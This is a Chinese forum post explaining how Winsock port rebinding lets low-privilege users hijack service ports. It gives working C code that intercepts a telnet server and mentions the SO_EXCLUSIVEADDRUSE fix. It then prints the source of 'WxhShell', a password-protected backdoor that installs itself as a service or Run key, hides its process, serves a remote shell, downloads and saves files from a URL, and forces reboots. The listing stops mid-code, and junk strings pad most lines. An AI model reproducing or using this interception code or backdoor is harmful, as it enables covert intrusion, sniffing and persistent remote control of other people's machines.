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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ohB@ijC!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?xCWg.#l4V  
wEb10t,  
  saddr.sin_family = AF_INET; ygTc Y  
(yhnv Z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); kCU (Hi`Q  
B P0*`TY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); USyOHHPW@  
/.[78:G\,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 A]s|"Pav,  
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  这意味着什么?意味着可以进行如下的攻击: A>J,Bi  
1ihdH1rg[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 A#Jx6T`a  
C.9l${QU  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) MJI`1*(  
6n$g73u<=3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .L}k-8  
:PDyc(s{  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  </jTWc'}  
W v!%'IB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 pu6@X7W"  
S/7?6y~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 jB%aHUF;  
o",J{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Ex$i8fO(  
E4N{;'  
  #include '/QS sZR  
  #include Hn!13+fS  
  #include yk&PJ;%O<  
  #include    , LVZ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   K)F6TvWv  
  int main() pt=H?{06  
  { *'hJ5{U  
  WORD wVersionRequested; XMw*4j2E  
  DWORD ret; 'yR)z\)  
  WSADATA wsaData; 3DS&-rN  
  BOOL val; &-hXk!A  
  SOCKADDR_IN saddr; I7e.p m  
  SOCKADDR_IN scaddr; NNP ut$.  
  int err; T43Jgk,  
  SOCKET s; nv/'C=+L  
  SOCKET sc; -|_MC^)  
  int caddsize; E]dmXH8A  
  HANDLE mt; |58xR.S'g  
  DWORD tid;   rki0!P`  
  wVersionRequested = MAKEWORD( 2, 2 ); EN;s 8sC!  
  err = WSAStartup( wVersionRequested, &wsaData ); #l#8-m8g)  
  if ( err != 0 ) { Wg!JQRHtT  
  printf("error!WSAStartup failed!\n"); S>V+IKW;(  
  return -1; kBg8:bo~  
  } /l1OC(hm  
  saddr.sin_family = AF_INET; :B  9>  
   jcL%_of  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 D,P{ ,/  
&r)[6a$fW  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); FE,BvNBZ  
  saddr.sin_port = htons(23); omzG/)M:O  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pq$-s7#  
  { y$[:Kh,  
  printf("error!socket failed!\n"); dpSNh1  
  return -1; h'ik19  
  } TP{2q51yM  
  val = TRUE; V;29ieE!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 T:I34E[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (5a:O (\r  
  { b|oT!s  
  printf("error!setsockopt failed!\n"); ?/|KM8  
  return -1; mLm?yb:  
  } I>JBGR`j  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @|([b r|O  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 vb`R+y@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?"$Rw32  
<NWq0 3:&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) h?'~/@  
  { `3yK<-  
  ret=GetLastError(); fLS].b]1N  
  printf("error!bind failed!\n"); Q|xa:`3?  
  return -1; =}zSj64  
  } |p.|zH  
  listen(s,2); @2g <d  
  while(1) %X|u({(zb  
  { F.),|t$\  
  caddsize = sizeof(scaddr); +\]Gu(z<  
  //接受连接请求 {$g3R@f^~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `vZX"+BAh  
  if(sc!=INVALID_SOCKET) h8dFW"cpC  
  { EKus0"|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Z C<+BKS  
  if(mt==NULL) s  }Ql9  
  { <*(^QOM  
  printf("Thread Creat Failed!\n"); wJj:hA}  
  break; Ej8g/{  
  } ?N^1v&Q  
  } :gO5#HIm  
  CloseHandle(mt); :V1j*)  
  } yd=b!\}WJ  
  closesocket(s); 'o~gT ;T#  
  WSACleanup(); _b$ yohQ  
  return 0; -9::M}^2  
  }   dIfy!B"  
  DWORD WINAPI ClientThread(LPVOID lpParam) #q 4uS~  
  { Ol~M BQs  
  SOCKET ss = (SOCKET)lpParam; Yt?]0i+  
  SOCKET sc; PMUW<UI  
  unsigned char buf[4096]; 7[PEiAI  
  SOCKADDR_IN saddr; jD${ZIv  
  long num; vA}_x7}n(  
  DWORD val; [Q+k2J_h  
  DWORD ret; 0<O()NMv  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?}uuTNLl)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9:P]{}  
  saddr.sin_family = AF_INET; C~R ?iZ.&U  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); hJsP;y:@Lm  
  saddr.sin_port = htons(23); 7i!VgV  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <z\`Ma  
  { "Kdn`zN{  
  printf("error!socket failed!\n"); 2,wwI<=E'  
  return -1; BM'!odRv  
  } BlQ X$s]  
  val = 100; +:"0 %(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T;?k]4.X  
  { S'5Zy} +x  
  ret = GetLastError(); i[@13kr  
  return -1; 8xg^="OJ  
  } [q_+s  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "?.#z]']  
  { Px&_6}YWy  
  ret = GetLastError(); QW$p{ zo  
  return -1; bMxK@$G~  
  } _bi)d201  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !nCq8~#  
  { kw@^4n+M  
  printf("error!socket connect failed!\n"); 5|nc^ 12  
  closesocket(sc); f um.G{}  
  closesocket(ss); P6R_W  
  return -1; 50j8+xJPV  
  } 8'HS$J;C  
  while(1) wV"`Du7E;  
  { uINdeq7|F  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {BT/P!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 kJp~'\b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2Jio_Hk  
  num = recv(ss,buf,4096,0); p*&0d@'r  
  if(num>0) )muNfs m  
  send(sc,buf,num,0); +)iMJ]>  
  else if(num==0) uTxa5j  
  break; m$kQbPlatN  
  num = recv(sc,buf,4096,0); lU%}_!tp3/  
  if(num>0) =y4dR#R(\  
  send(ss,buf,num,0); R2gV(L(!!  
  else if(num==0) XS[L-NHG  
  break; dy&UF,l6  
  } %)x9u$4W2  
  closesocket(ss); *q*3SP/  
  closesocket(sc); /N"3kK,N  
  return 0 ; :q]9F4im  
  } hd(FOKOP  
RhH 1nf2UR  
? T6K]~g  
========================================================== hlaN'j <C  
6(Pan%  
下边附上一个代码,,WXhSHELL  :^.wjUI  
W(`QbNJ  
========================================================== X,7y|tb  
XiE`_%NW  
#include "stdafx.h" qk1jmr  
^Tm`motzh  
#include <stdio.h> ViPC Yt`of  
#include <string.h> K>@yk9)vi  
#include <windows.h> .B# .   
#include <winsock2.h> ttzNv>L,  
#include <winsvc.h> W]9*dabem  
#include <urlmon.h> Yf w>x[#e  
kI^* '=:  
#pragma comment (lib, "Ws2_32.lib") ZgP%sF  
#pragma comment (lib, "urlmon.lib") udZOg  
L>1hiD&  
#define MAX_USER   100 // 最大客户端连接数 -3EQRqVg  
#define BUF_SOCK   200 // sock buffer qd*}d)!  
#define KEY_BUFF   255 // 输入 buffer :8A+2ra&  
xH-d<Ht,7  
#define REBOOT     0   // 重启 ~&i4FuK  
#define SHUTDOWN   1   // 关机 `6D?te  
J:L+q} A  
#define DEF_PORT   5000 // 监听端口 r9i? H  
6pt_cpbR  
#define REG_LEN     16   // 注册表键长度 5i!Q55Yv=,  
#define SVC_LEN     80   // NT服务名长度 l_vGp  
}}AIpYp,P  
// 从dll定义API &O&HczO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %ou,|Dww  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I0Pw~Jj{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6#?T?!vZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 94u{k1d x  
t'eqk#rq  
// wxhshell配置信息 B0fOAP1  
struct WSCFG { 9y7N}T6  
  int ws_port;         // 监听端口 ~VGnE:  
  char ws_passstr[REG_LEN]; // 口令 Z2% HQL2  
  int ws_autoins;       // 安装标记, 1=yes 0=no =3e7n2N)  
  char ws_regname[REG_LEN]; // 注册表键名 eU yF<j  
  char ws_svcname[REG_LEN]; // 服务名 ^SdF\uk{?6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -/yqiC-yx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _pvB$&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ys"wG B>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kRp]2^}\s\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X z+%Ym  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bx0.(Nv/X  
WRh5v8Wz0  
}; +)Z]<O  
QQ*sjK.(  
// default Wxhshell configuration oaY_6  
struct WSCFG wscfg={DEF_PORT, ^9g$/8[^c_  
    "xuhuanlingzhe", 3[YG BM(  
    1, FaL\6w  
    "Wxhshell", Ot=jwvw  
    "Wxhshell", o>el"0rn.h  
            "WxhShell Service", Rn1oD3w  
    "Wrsky Windows CmdShell Service", L$ZjMJ  
    "Please Input Your Password: ", CWj_K2=d  
  1, B VBn.ut  
  "http://www.wrsky.com/wxhshell.exe", M&Uy42,MR  
  "Wxhshell.exe" Wh[QR-7Ew  
    }; vwCQvt  
]%\,.&=hT  
// 消息定义模块 [);oj<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [GwAm>k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wj)LOA0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LU1I `E  
char *msg_ws_ext="\n\rExit."; wwUI ;g  
char *msg_ws_end="\n\rQuit."; o2/:e  
char *msg_ws_boot="\n\rReboot..."; X\}l" ]  
char *msg_ws_poff="\n\rShutdown..."; Kkvc Zs'4m  
char *msg_ws_down="\n\rSave to "; =Tj{)=^/#  
H;Wrcf2  
char *msg_ws_err="\n\rErr!"; ("$/sT  
char *msg_ws_ok="\n\rOK!"; mw @Pl\=  
&5 CRXf  
char ExeFile[MAX_PATH]; 2M %j-yG"  
int nUser = 0; 3Cf9'C  
HANDLE handles[MAX_USER]; %xt9k9=vZ  
int OsIsNt; _y@ 28t  
TCr4-"`r-{  
SERVICE_STATUS       serviceStatus;  5NU{y+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; j\2Qe %d  
ClG%zE&i  
// 函数声明 )M0YX?5A R  
int Install(void); hFtV\xF K  
int Uninstall(void); N5Js.j>z  
int DownloadFile(char *sURL, SOCKET wsh); S?J!.(  
int Boot(int flag); C$[d~1t6  
void HideProc(void); !09)WtsEfx  
int GetOsVer(void); =i/Df ?  
int Wxhshell(SOCKET wsl); 5`;SI36"  
void TalkWithClient(void *cs); J_Lmy7~xbD  
int CmdShell(SOCKET sock); N*Y[[N(  
int StartFromService(void); |OeyPD#  
int StartWxhshell(LPSTR lpCmdLine); qeZG/\,  
KVi6vdgD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rRTKF0+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /MZ<vnN7f  
*x36;6~W;  
// 数据结构和表定义 "LBMpgpU  
SERVICE_TABLE_ENTRY DispatchTable[] = v{u3[c   
{ m#"_x{oa  
{wscfg.ws_svcname, NTServiceMain}, <Q[%:LD  
{NULL, NULL} m=l>8  
}; Lg:1zC  
<)qa{,GX\  
// 自我安装 .N(R~_  
int Install(void) G%F#I  
{ -[mmT'sS  
  char svExeFile[MAX_PATH]; |J $A%27  
  HKEY key; Dri6\/0  
  strcpy(svExeFile,ExeFile); LjKxznn o  
eI8o#4nT  
// 如果是win9x系统,修改注册表设为自启动 L]Tj]u)  
if(!OsIsNt) { WowKq0sn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fu7x,b0p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [(X~C*VdxM  
  RegCloseKey(key); `bP`.Wm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hY)zKX_r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,&[o:jTk  
  RegCloseKey(key); D#GuF~-F!R  
  return 0; ?1Nz ,Lc$  
    } j.M]F/j  
  } -J v,#Z3  
} 6 AO(A *  
else { F|%PiC,,qO  
2> a&m>  
// 如果是NT以上系统,安装为系统服务 *|&Y ,H?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1P)K@j  
if (schSCManager!=0) mnTF40l  
{ |W@ ~mrO  
  SC_HANDLE schService = CreateService xQR/Xp!h  
  ( f6r!3y  
  schSCManager, Tv%7=P;r  
  wscfg.ws_svcname, PKlR_#EB?  
  wscfg.ws_svcdisp, :tWk K$  
  SERVICE_ALL_ACCESS, r] /Ej!|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [REH*_  
  SERVICE_AUTO_START, XX=OyDLqP  
  SERVICE_ERROR_NORMAL, =svFw&q"  
  svExeFile, QL0q/S1*  
  NULL, ,e'r 0  
  NULL, m2SJ\1 J=  
  NULL, "8Dm7)nB  
  NULL, nJ2B*(S'v.  
  NULL _DR@P(0>_  
  ); #( .G;e;w  
  if (schService!=0) :ok.[q  
  { G[}v?RLI  
  CloseServiceHandle(schService); +149 o2  
  CloseServiceHandle(schSCManager); *,u{, $}2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SX,$ $43  
  strcat(svExeFile,wscfg.ws_svcname); ]ty$/{hx'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k;qS1[a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kB+$Kt<]L  
  RegCloseKey(key); Up Z 9g"  
  return 0; ) [eTZg  
    } [l=@b4Og  
  } 0 Rb3| te  
  CloseServiceHandle(schSCManager); .QY>@b\  
} ^a qQw u  
} 0L;,\&*u  
<hzHrx'o{  
return 1; H2iIBGu|L  
} f0eQq;D$K  
ZQ"dAR/y  
// 自我卸载 *vQ 6LF;y  
int Uninstall(void) .BjWZj  
{ lP=,|xFra  
  HKEY key; ]prw=rD  
?121 as}z  
if(!OsIsNt) { -8)C6"V{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SN|!FW.*:  
  RegDeleteValue(key,wscfg.ws_regname); N?3p,2  
  RegCloseKey(key); I!b"Rv=Nf-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qo:Zc`t(R  
  RegDeleteValue(key,wscfg.ws_regname); `D3q!e  
  RegCloseKey(key); */~|IbZ`o  
  return 0; C{U*{0}  
  } b+Sj\3fX  
} Ud"_[JtGM  
} krGIE}5  
else { #Br`;hL<T  
Qraq{'3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f2tCB1[D+  
if (schSCManager!=0) A|Ft:_Y  
{ |5(CzXR]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AW;xlY= g  
  if (schService!=0) %-YWn`yEm  
  { :bo2H[U+  
  if(DeleteService(schService)!=0) { f7zB_hVDmE  
  CloseServiceHandle(schService); Ag3+z+uS  
  CloseServiceHandle(schSCManager); bfUKh%!M  
  return 0; ,nog6\  
  } )a!f")@uz  
  CloseServiceHandle(schService); Y 8}y0]V  
  } Gqq< -drR  
  CloseServiceHandle(schSCManager); io"NqR#"v  
} DZ`,QWuA  
} -5os0G80  
+-x+c: IxA  
return 1; ZCK#=:ln  
} WCaMPz  
2/ )~$0  
// 从指定url下载文件 w3iX "w  
int DownloadFile(char *sURL, SOCKET wsh) JFu.o8[Q  
{ 8~!h8bkC  
  HRESULT hr; od@!WjcM[8  
char seps[]= "/"; >!PM5%G  
char *token; l"&iSq!3=  
char *file; 79Aa~+i'_  
char myURL[MAX_PATH]; H>\l E2  
char myFILE[MAX_PATH]; 6."|m+D  
)+)qFGVz  
strcpy(myURL,sURL); ?!tO'}?  
  token=strtok(myURL,seps); /^i_tLgb  
  while(token!=NULL) dF|n)+C~R  
  { ?<OE|nb&  
    file=token; %h_N%B$7c1  
  token=strtok(NULL,seps); u#ocx[  
  } svC m }`  
B|>eKI  
GetCurrentDirectory(MAX_PATH,myFILE); zYis~ +  
strcat(myFILE, "\\"); GB*^?Ii  
strcat(myFILE, file); dphWxB  
  send(wsh,myFILE,strlen(myFILE),0); 3;//o<  
send(wsh,"...",3,0); ASS<XNP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9)F$){G]vs  
  if(hr==S_OK) mphs^k< Z  
return 0; %~<F7qB  
else JFRbW Q0  
return 1; | m#"  
q)"yP\  
} PywUPsJ  
+D h?MQt?  
// 系统电源模块 ?;rRR48T9E  
int Boot(int flag) SphP@J<ONW  
{ pSx}:u^am  
  HANDLE hToken; _bCIVf`  
  TOKEN_PRIVILEGES tkp; Tn'o$J  
9KL)5_6 M  
  if(OsIsNt) { ) Cm95,Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;%/}(&E2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7Zh#7jiZ`  
    tkp.PrivilegeCount = 1; %pxHGO=)E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PmUq~YZ7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m4c2WY6k  
if(flag==REBOOT) { 1mv8[^pF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S2V+%Z _J  
  return 0; q] '2'"k  
} r#mH[|@W~  
else { |v"&Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .A7ON1lc^C  
  return 0; 8$ _8Yva"e  
} jq[Q>"f  
  } DbN_(mC  
  else { \k%j  
if(flag==REBOOT) { Q/l388'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8J0#lu  
  return 0; GS,}]c=  
} kybDw{(}gc  
else { :W[d&e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Tu=~iQ  
  return 0; LV]F?O[K=  
} YZc{\~d  
} FQB6` M  
P\2x9T  
return 1; xtd1>|  
} ?fvK<0S`  
DLEHsbP{$  
// win9x进程隐藏模块 %xwtG:IKEV  
void HideProc(void) NvJ}|w,Z  
{ <)$JA  
%xN91j["  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kXZG<?  
  if ( hKernel != NULL ) ga|-~~  
  { L@~0`z:>iP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +{&++^(}a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,Y27uey{wa  
    FreeLibrary(hKernel); F t;[>o  
  } C <q@C!A  
Z:<6Ck  
return; 0 t0m?rVW  
} 71k >_'fl  
HA GpM\Qa  
// 获取操作系统版本 tQ(gB_  
int GetOsVer(void) `j(-y`fo  
{ I :o.%5)  
  OSVERSIONINFO winfo; @l@erCw@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w7Vl,pN,  
  GetVersionEx(&winfo); Jrw R:_+|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W[oQp2 =  
  return 1; +Am\jsq  
  else K`twbTU  
  return 0; Nr0}*8#j  
} p7]V1w:  
7Ezy-x2h  
// 客户端句柄模块 m7.6;k.  
int Wxhshell(SOCKET wsl) ,I8[tiR"b  
{ ;Km74!.e7  
  SOCKET wsh; = ^_4u%}  
  struct sockaddr_in client; Et+WLQ6)  
  DWORD myID; bv4G!21]*;  
vuNq7V*}  
  while(nUser<MAX_USER) oC1Nfc+  
{ TCetd#;R  
  int nSize=sizeof(client); U|)CZcM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @hj5j;NHK  
  if(wsh==INVALID_SOCKET) return 1; M}xyW"yp  
M%qHf{ B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h4k.1yH;  
if(handles[nUser]==0) I?Ct@yxhF'  
  closesocket(wsh); +|TFxaVz  
else .u$o^; z!  
  nUser++; #m36p+U  
  } 3.<E{E!F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xHi.N*~D  
!t!\b9=  
  return 0; \ 3HB  
} 5.zv0tJku  
,K~r':ht  
// 关闭 socket OCN@P+L3q  
void CloseIt(SOCKET wsh) db0]D\  
{ Eao^/MKx-  
closesocket(wsh); TjLW<D(i>  
nUser--; U@<]>.$  
ExitThread(0); < r7s,][&  
} ?'+ kZ|  
t p<wMrq<  
// 客户端请求句柄 YK6zN>M}E  
void TalkWithClient(void *cs) qttJ*zu  
{ +/4wioGm  
b,):&M~p  
  SOCKET wsh=(SOCKET)cs; p^THoF'~T  
  char pwd[SVC_LEN]; d@e2+3<  
  char cmd[KEY_BUFF]; VFLW @  
char chr[1]; c%vtg.A  
int i,j; w  
xmNs<mz  
  while (nUser < MAX_USER) { kYnp$8  
9A!B|s  
if(wscfg.ws_passstr) { $, @,(M`i}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #[ ?E,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m*H' Cb  
  //ZeroMemory(pwd,KEY_BUFF); /YHAU5N/}  
      i=0; c01i !XS  
  while(i<SVC_LEN) { cyPJ( &;  
x_$`#m{hL5  
  // 设置超时 }(/\vTn*1  
  fd_set FdRead; ibn(eu<uW  
  struct timeval TimeOut; cbaa*qoU  
  FD_ZERO(&FdRead); M~,N~ N1  
  FD_SET(wsh,&FdRead); Td,s"p>Vq  
  TimeOut.tv_sec=8; fF]w[lLDv  
  TimeOut.tv_usec=0; + [~)a 4#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C q)Cwc[H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +Hk r\  
U\GuCw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wf:LYL  
  pwd=chr[0]; x". !&5  
  if(chr[0]==0xd || chr[0]==0xa) { 5N(OW:M  
  pwd=0; "< })X.t  
  break; "X,*VQl:  
  } P^[y~I#{  
  i++; &(X67  
    } yV?qX\~*  
d3"QCl  
  // 如果是非法用户,关闭 socket Yaj}_M-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J>8kJCh9g  
} 9Yd"Y-   
Wn-'iD+9<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5jAS1XG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]\m >N]P]  
wDDNB1_ E  
while(1) { X.+|o@G  
;cfPS  
  ZeroMemory(cmd,KEY_BUFF); TyY%<NCIb  
E<sd\~~A:  
      // 自动支持客户端 telnet标准   Q?>DbT6  
  j=0; s w{e |  
  while(j<KEY_BUFF) { kgh0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JFFluL=-  
  cmd[j]=chr[0]; FxmHy{JG  
  if(chr[0]==0xa || chr[0]==0xd) { F-Bj  
  cmd[j]=0; U^8S@#1Q  
  break; L%jIU<?Z7  
  } 9,[A fI  
  j++;  h@PE:=  
    } K[yP{01  
|k^C-  
  // 下载文件 8SA" bH:  
  if(strstr(cmd,"http://")) { JOH\K0=e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +Fb+dU  
  if(DownloadFile(cmd,wsh)) %{-r'Yi%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _L+j6N.h1  
  else 0n}v"61q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ne: 'aq  
  } yLPP6_59$  
  else { -^3uQa<zN^  
pu5%$}dBE  
    switch(cmd[0]) { %JgdLnQE  
  ;;6$d{  
  // 帮助 /_qHF-  
  case '?': { udXzsY9Ng  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C]Y%dQh+a  
    break; e+V8I&%  
  } =3ovaP  
  // 安装 33 ; '6/  
  case 'i': { f `D( V-4  
    if(Install()) "j&'R#$&d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n =WH=:&  
    else N<ux4tz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H32o7]lT  
    break; zdw* ?C  
    } !9.FI{W  
  // 卸载 ik #Wlz`4  
  case 'r': { OE}FZCX F  
    if(Uninstall()) ~sZ$`t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9g\;L:'  
    else k>\v]&|T`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JEaTDV_  
    break; I$MlIz$l v  
    } Oxa8ue?  
  // 显示 wxhshell 所在路径 e`:^7$  
  case 'p': { Q6wa-Y,  
    char svExeFile[MAX_PATH]; :Nv7Wt!  
    strcpy(svExeFile,"\n\r"); Oet+$ b  
      strcat(svExeFile,ExeFile); K yyVO"  
        send(wsh,svExeFile,strlen(svExeFile),0); wZN_YFwQ  
    break; TEh.?  
    } G|[{\  
  // 重启 lZuH:AH  
  case 'b': { Wa7wV 9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C<3<,~gI  
    if(Boot(REBOOT)) vS)>g4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rk[a|T&  
    else { 7~F~'V  
    closesocket(wsh); pB#I_?(  
    ExitThread(0); 3h:y[Vm#9y  
    } Gw\..O  
    break; [`oVMR  
    } 'A^q)hpax  
  // 关机 $XTtDUP@  
  case 'd': { k=[s%O 6H  
